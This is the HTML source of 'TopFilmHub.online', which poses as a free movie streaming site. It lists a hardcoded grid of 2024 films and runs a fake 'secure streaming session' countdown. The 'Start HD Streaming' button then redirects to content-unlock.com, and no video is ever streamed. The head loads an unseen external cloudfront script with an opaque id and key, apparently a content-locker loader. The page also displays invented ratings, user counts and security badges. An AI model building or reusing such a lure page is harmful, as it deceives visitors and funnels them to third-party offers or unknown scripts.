<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript">
var NwJYf_qsr_wTqsxc={"it":4621202,"key":"0aff0"};
</script>
<script src="https://d19k1sh57v5k0g.cloudfront.net/c29bc19.js"></script>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes">
<title>TopFilmHub.online — Premium Streaming</title>
<!-- Google Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:opsz@14..32&family=Poppins:wght@400;600;700;800&display=swap" rel="stylesheet">
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: #0F0F14;
color: white;
font-family: 'Inter', sans-serif;
overflow-x: hidden;
}
h1, h2, h3, .hero-title {
font-family: 'Poppins', sans-serif;
}
.container {
max-width: 1400px;
margin: 0 auto;
padding: 0 24px;
}
/* floating particles (cinematic) */
#particles-canvas {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
pointer-events: none;
z-index: 0;
}
/* main content above particles */
.main-content {
position: relative;
z-index: 2;
}
/* ----- HERO ----- */
.hero {
position: relative;
border-radius: 0 0 40px 40px;
overflow: hidden;
margin-bottom: 20px;
background: linear-gradient(145deg, #0F0F14 0%, #1a1a22 100%);
box-shadow: 0 20px 40px rgba(0,0,0,0.8);
}
.hero-backdrop {
background: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1200 600" preserveAspectRatio="xMidYMid slice"><rect width="1200" height="600" fill="%23111118"/><path d="M0 300 L200 150 L400 280 L600 100 L800 300 L1000 180 L1200 320 L1200 600 L0 600Z" fill="%2322222d" opacity="0.3"/><circle cx="200" cy="180" r="120" fill="%23e50914" opacity="0.08"/><circle cx="900" cy="120" r="180" fill="%23ffd700" opacity="0.05"/></svg>') center/cover no-repeat;
position: absolute;
top: 0; left: 0; width: 100%; height: 100%;
opacity: 0.6;
}
.hero-overlay {
background: linear-gradient(135deg, rgba(15,15,20,0.88) 0%, rgba(15,15,20,0.4) 80%);
padding: 70px 30px 50px;
position: relative;
backdrop-filter: blur(2px);
}
.hero-content {
max-width: 780px;
margin: 0 auto;
text-align: center;
}
.hero-title {
font-size: clamp(2.2rem, 10vw, 4.8rem);
font-weight: 800;
letter-spacing: -0.02em;
line-height: 1.1;
text-shadow: 0 8px 30px rgba(0,0,0,0.8);
margin-bottom: 16px;
}
.hero-title span {
background: linear-gradient(135deg, #FFD700 20%, #ffb800 80%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.hero-sub {
font-size: clamp(1rem, 2.5vw, 1.6rem);
color: #dddddd;
margin-bottom: 30px;
font-weight: 400;
text-shadow: 0 4px 12px rgba(0,0,0,0.6);
}
.btn-primary {
background: #E50914;
border: none;
color: white;
font-weight: 700;
font-size: 1.5rem;
padding: 16px 48px;
border-radius: 60px;
box-shadow: 0 0 30px rgba(229, 9, 20, 0.6);
transition: all 0.25s ease;
cursor: pointer;
display: inline-block;
letter-spacing: 0.5px;
font-family: 'Poppins', sans-serif;
border: 1px solid rgba(255,255,255,0.1);
}
.btn-primary:hover {
transform: scale(1.04);
box-shadow: 0 0 50px #E50914, 0 0 80px rgba(229,9,20,0.5);
background: #ff1a2a;
}
.hero-stats {
display: flex;
flex-wrap: wrap;
justify-content: center;
gap: 30px 50px;
margin-top: 36px;
font-size: 1rem;
color: #ccc;
}
.hero-stats span {
display: flex;
align-items: center;
gap: 8px;
background: rgba(255,255,255,0.03);
padding: 8px 18px;
border-radius: 40px;
backdrop-filter: blur(4px);
border: 1px solid rgba(255,255,255,0.04);
}
.hero-stats i {
color: #FFD700;
}
.rating-star {
color: #FFD700;
margin-right: 4px;
}
/* TRENDING */
.section-title {
font-size: 2.2rem;
font-weight: 700;
margin: 48px 0 24px;
padding-left: 8px;
border-left: 6px solid #E50914;
padding-left: 16px;
font-family: 'Poppins', sans-serif;
}
.movie-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(170px, 1fr));
gap: 28px 18px;
margin-bottom: 40px;
}
@media (min-width: 700px) {
.movie-grid { grid-template-columns: repeat(4, 1fr); }
}
@media (min-width: 1000px) {
.movie-grid { grid-template-columns: repeat(6, 1fr); }
}
.movie-card {
background: #1C1C24;
border-radius: 20px;
overflow: hidden;
transition: all 0.3s cubic-bezier(0.2, 0.9, 0.3, 1.1);
box-shadow: 0 8px 20px rgba(0,0,0,0.5);
cursor: pointer;
border: 1px solid #2a2a34;
backdrop-filter: blur(4px);
height: 100%;
display: flex;
flex-direction: column;
}
.movie-card:hover {
transform: scale(1.04) translateY(-6px);
box-shadow: 0 20px 40px rgba(0,0,0,0.8);
border-color: #E50914;
}
.movie-poster {
width: 100%;
aspect-ratio: 2/3;
background: #25252e;
display: flex;
align-items: center;
justify-content: center;
font-size: 3rem;
color: #555;
position: relative;
background: linear-gradient(145deg, #1e1e28, #14141c);
}
.movie-poster img {
width: 100%;
height: 100%;
object-fit: cover;
display: block;
}
.movie-info {
padding: 14px 12px 16px;
flex: 1;
display: flex;
flex-direction: column;
gap: 4px;
}
.movie-title {
font-weight: 700;
font-size: 0.95rem;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.movie-meta {
display: flex;
justify-content: space-between;
font-size: 0.8rem;
color: #aaa;
}
.movie-genre {
background: #2c2c38;
padding: 2px 10px;
border-radius: 40px;
font-size: 0.7rem;
color: #ccc;
display: inline-block;
width: fit-content;
}
/* TRUST BADGES */
.trust-badges {
display: flex;
flex-wrap: wrap;
justify-content: center;
gap: 20px 32px;
background: #14141b;
padding: 20px 20px;
border-radius: 80px;
margin: 40px 0 20px;
border: 1px solid #25252f;
backdrop-filter: blur(4px);
}
.trust-badges span {
display: flex;
align-items: center;
gap: 10px;
font-size: 0.9rem;
color: #ddd;
}
.trust-badges i {
color: #FFD700;
}
/* FOOTER */
.footer {
border-top: 1px solid #20202a;
padding: 30px 20px 20px;
margin-top: 40px;
display: flex;
flex-wrap: wrap;
justify-content: space-between;
align-items: center;
font-size: 0.9rem;
color: #888;
}
.footer-links {
display: flex;
gap: 24px;
flex-wrap: wrap;
}
.footer-links a {
color: #aaa;
text-decoration: none;
transition: 0.2s;
}
.footer-links a:hover { color: white; }
/* POPUP overlay */
.popup-overlay {
position: fixed;
top: 0; left: 0; width: 100%; height: 100%;
background: rgba(0,0,0,0.8);
backdrop-filter: blur(6px);
display: flex;
align-items: center;
justify-content: center;
z-index: 999;
opacity: 0;
pointer-events: none;
transition: opacity 0.4s ease;
padding: 20px;
}
.popup-overlay.active {
opacity: 1;
pointer-events: auto;
}
.popup-card {
background: rgba(28, 28, 36, 0.85);
backdrop-filter: blur(30px) saturate(180%);
-webkit-backdrop-filter: blur(30px) saturate(180%);
max-width: 700px;
width: 100%;
border-radius: 48px;
padding: 28px 28px 36px;
box-shadow: 0 40px 80px rgba(0,0,0,0.9), 0 0 0 1px rgba(255,215,0,0.15);
border: 1px solid rgba(255,215,0,0.1);
transform: scale(0.94) translateY(20px);
transition: transform 0.35s cubic-bezier(0.2, 0.9, 0.3, 1.1), opacity 0.3s;
opacity: 0;
display: flex;
flex-direction: column;
gap: 16px;
color: white;
max-height: 90vh;
overflow-y: auto;
}
.popup-overlay.active .popup-card {
transform: scale(1) translateY(0);
opacity: 1;
}
.popup-poster {
width: 100%;
aspect-ratio: 16/9;
background: #1a1a22;
border-radius: 24px;
overflow: hidden;
display: flex;
align-items: center;
justify-content: center;
font-size: 4rem;
background: linear-gradient(145deg, #23232e, #111118);
box-shadow: 0 12px 30px rgba(0,0,0,0.6);
}
.popup-poster img {
width: 100%;
height: 100%;
object-fit: cover;
}
.popup-title {
font-size: 2rem;
font-weight: 700;
font-family: 'Poppins', sans-serif;
}
.popup-desc {
color: #bfbfbf;
line-height: 1.5;
}
.popup-badges {
display: flex;
flex-wrap: wrap;
gap: 10px 20px;
background: rgba(0,0,0,0.3);
padding: 12px 18px;
border-radius: 60px;
border: 1px solid #3a3a48;
}
.popup-badges span {
display: flex;
align-items: center;
gap: 6px;
font-size: 0.9rem;
}
.popup-badges i { color: #FFD700; }
.countdown-area {
background: #0a0a0f;
border-radius: 60px;
padding: 16px 20px;
text-align: center;
border: 1px solid #333;
margin: 8px 0;
}
.countdown-number {
font-size: 2.8rem;
font-weight: 800;
color: #FFD700;
font-family: 'Poppins', sans-serif;
}
.btn-stream {
background: #E50914;
border: none;
color: white;
font-weight: 700;
font-size: 1.6rem;
padding: 18px 20px;
border-radius: 60px;
width: 100%;
box-shadow: 0 0 30px rgba(229,9,20,0.4);
transition: 0.2s;
cursor: pointer;
font-family: 'Poppins', sans-serif;
}
.btn-stream:hover {
background: #ff1f2e;
box-shadow: 0 0 50px #E50914;
}
.spinner {
display: inline-block;
width: 24px;
height: 24px;
border: 3px solid rgba(255,255,255,0.15);
border-radius: 50%;
border-top-color: #FFD700;
animation: spin 0.9s linear infinite;
margin-right: 12px;
vertical-align: middle;
}
@keyframes spin { to { transform: rotate(360deg); } }
.hidden { display: none !important; }
/* responsiveness */
@media (max-width: 600px) {
.hero-overlay { padding: 40px 16px; }
.btn-primary { font-size: 1.2rem; padding: 14px 30px; }
.popup-card { padding: 20px; }
}
</style>
</head>
<body>
<canvas id="particles-canvas"></canvas>
<div class="main-content">
<div class="container">
<!-- HERO -->
<div class="hero">
<div class="hero-backdrop"></div>
<div class="hero-overlay">
<div class="hero-content">
<h1 class="hero-title">Watch Movies & <span>TV Shows</span> Online</h1>
<p class="hero-sub">Unlimited HD Streaming. Thousands of Movies & Series.</p>
<a class="btn-primary" id="heroWatchBtn">🎬 Watch Now</a>
<div class="hero-stats">
<span><span class="rating-star">★★★★☆</span> 4.9/5 Rating</span>
<span>👥 2.3M Monthly Users</span>
<span>⚡ HD • 4K • Fast Streaming</span>
</div>
</div>
</div>
</div>
<!-- TRENDING MOVIES -->
<h2 class="section-title">🔥 Trending Movies</h2>
<div class="movie-grid" id="movieGrid"></div>
<!-- TRUST BADGES -->
<div class="trust-badges">
<span>🔒 Secure Streaming</span>
<span>📅 Updated Daily</span>
<span>🚫 No Registration Required</span>
<span>📺 HD & 4K Quality</span>
</div>
<!-- FOOTER -->
<div class="footer">
<div>© 2026 TopFilmHub.online</div>
<div class="footer-links">
<a href="#">Privacy Policy</a>
<a href="#">Terms of Service</a>
<a href="#">DMCA</a>
<a href="#">Contact</a>
</div>
</div>
</div>
</div>
<!-- POPUP -->
<div class="popup-overlay" id="popupOverlay">
<div class="popup-card" id="popupCard">
<div class="popup-poster" id="popupPoster">🎬</div>
<div class="popup-title" id="popupTitle">Movie Title</div>
<div class="popup-desc" id="popupDesc">Description goes here.</div>
<div class="popup-badges">
<span>✔ HD</span><span>✔ 1080P</span><span>✔ English</span><span>✔ Subtitles</span>
</div>
<div class="countdown-area" id="countdownArea">
<div id="countdownDisplay">
<span class="spinner"></span> Preparing your secure streaming session...
<div class="countdown-number" id="countdownNumber">3</div>
</div>
</div>
<button class="btn-stream hidden" id="streamBtn">🎬 Start HD Streaming</button>
</div>
</div>
<script>
(function() {
// ---------- PARTICLES ----------
const canvas = document.getElementById('particles-canvas');
const ctx = canvas.getContext('2d');
let w, h;
function resize() { w = canvas.width = window.innerWidth; h = canvas.height = window.innerHeight; }
resize(); window.addEventListener('resize', resize);
const particles = [];
for (let i = 0; i < 70; i++) {
particles.push({
x: Math.random() * w, y: Math.random() * h,
vx: (Math.random() - 0.5) * 0.3, vy: (Math.random() - 0.5) * 0.3,
r: Math.random() * 2.5 + 1,
a: Math.random() * 0.6 + 0.1
});
}
function drawParticles() {
ctx.clearRect(0, 0, w, h);
particles.forEach(p => {
p.x += p.vx; p.y += p.vy;
if (p.x < 0 || p.x > w) p.vx *= -1;
if (p.y < 0 || p.y > h) p.vy *= -1;
ctx.beginPath();
ctx.arc(p.x, p.y, p.r, 0, Math.PI * 2);
ctx.fillStyle = `rgba(255, 215, 0, ${p.a})`;
ctx.fill();
});
requestAnimationFrame(drawParticles);
}
drawParticles();
// ---------- MOVIE DATA (12) ----------
const movies = [
{ title: 'Dune: Part Two', year: 2024, genre: 'Sci-Fi', rating: '8.7', poster: '🎞️' },
{ title: 'Deadpool & Wolverine', year: 2024, genre: 'Action', rating: '8.2', poster: '⚔️' },
{ title: 'Inside Out 2', year: 2024, genre: 'Animation', rating: '8.9', poster: '🧠' },
{ title: 'Furiosa', year: 2024, genre: 'Action', rating: '7.9', poster: '🔥' },
{ title: 'Godzilla x Kong', year: 2024, genre: 'Monster', rating: '7.5', poster: '🦍' },
{ title: 'The Fall Guy', year: 2024, genre: 'Comedy', rating: '7.2', poster: '🎬' },
{ title: 'Challengers', year: 2024, genre: 'Drama', rating: '7.8', poster: '🎾' },
{ title: 'Kingdom of Apes', year: 2024, genre: 'Sci-Fi', rating: '7.6', poster: '🐵' },
{ title: 'Ghostbusters', year: 2024, genre: 'Comedy', rating: '6.9', poster: '👻' },
{ title: 'The Bikeriders', year: 2024, genre: 'Drama', rating: '7.3', poster: '🏍️' },
{ title: 'A Quiet Place: Day One', year: 2024, genre: 'Horror', rating: '7.1', poster: '🤫' },
{ title: 'Bad Boys: Ride or Die', year: 2024, genre: 'Action', rating: '7.4', poster: '🚔' }
];
// ---------- RENDER MOVIE CARDS ----------
const grid = document.getElementById('movieGrid');
movies.forEach((m, idx) => {
const card = document.createElement('div');
card.className = 'movie-card';
card.dataset.index = idx;
card.innerHTML = `
<div class="movie-poster">${m.poster}</div>
<div class="movie-info">
<div class="movie-title">${m.title}</div>
<div class="movie-meta"><span>⭐ ${m.rating}</span><span>${m.year}</span></div>
<div class="movie-genre">${m.genre}</div>
</div>
`;
card.addEventListener('click', () => openPopup(idx));
grid.appendChild(card);
});
// ---------- POPUP LOGIC ----------
const overlay = document.getElementById('popupOverlay');
const popupCard = document.getElementById('popupCard');
const popupPoster = document.getElementById('popupPoster');
const popupTitle = document.getElementById('popupTitle');
const popupDesc = document.getElementById('popupDesc');
const countdownArea = document.getElementById('countdownArea');
const countdownDisplay = document.getElementById('countdownDisplay');
const countdownNumber = document.getElementById('countdownNumber');
const streamBtn = document.getElementById('streamBtn');
let currentMovieIndex = 0;
let countdownInterval = null;
let countdownValue = 3;
function openPopup(index) {
const movie = movies[index];
if (!movie) return;
currentMovieIndex = index;
popupPoster.innerHTML = movie.poster;
popupTitle.textContent = movie.title;
popupDesc.textContent = `${movie.genre} • ${movie.year} • A cinematic masterpiece with breathtaking visuals.`;
// reset countdown
clearInterval(countdownInterval);
countdownValue = 3;
countdownNumber.textContent = countdownValue;
countdownDisplay.classList.remove('hidden');
streamBtn.classList.add('hidden');
overlay.classList.add('active');
document.body.style.overflow = 'hidden';
// start countdown
countdownInterval = setInterval(() => {
countdownValue -= 1;
if (countdownValue <= 0) {
clearInterval(countdownInterval);
countdownDisplay.classList.add('hidden');
streamBtn.classList.remove('hidden');
} else {
countdownNumber.textContent = countdownValue;
}
}, 1000);
}
function closePopup() {
overlay.classList.remove('active');
document.body.style.overflow = '';
clearInterval(countdownInterval);
}
// click outside to close
overlay.addEventListener('click', (e) => {
if (e.target === overlay) closePopup();
});
// stream button redirect
streamBtn.addEventListener('click', () => {
window.location.href = 'https://content-unlock.com/watch~713446H';
});
// hero watch now
document.getElementById('heroWatchBtn').addEventListener('click', () => {
// scroll to movies section and highlight first card
document.querySelector('.section-title').scrollIntoView({ behavior: 'smooth' });
const firstCard = document.querySelector('.movie-card');
if (firstCard) {
firstCard.style.transition = 'all 0.2s';
firstCard.style.boxShadow = '0 0 0 3px #E50914, 0 0 40px rgba(229,9,20,0.4)';
setTimeout(() => { firstCard.style.boxShadow = ''; }, 1200);
}
});
// close popup with ESC
document.addEventListener('keydown', (e) => { if (e.key === 'Escape') closePopup(); });
})();
</script>
</body>
</html>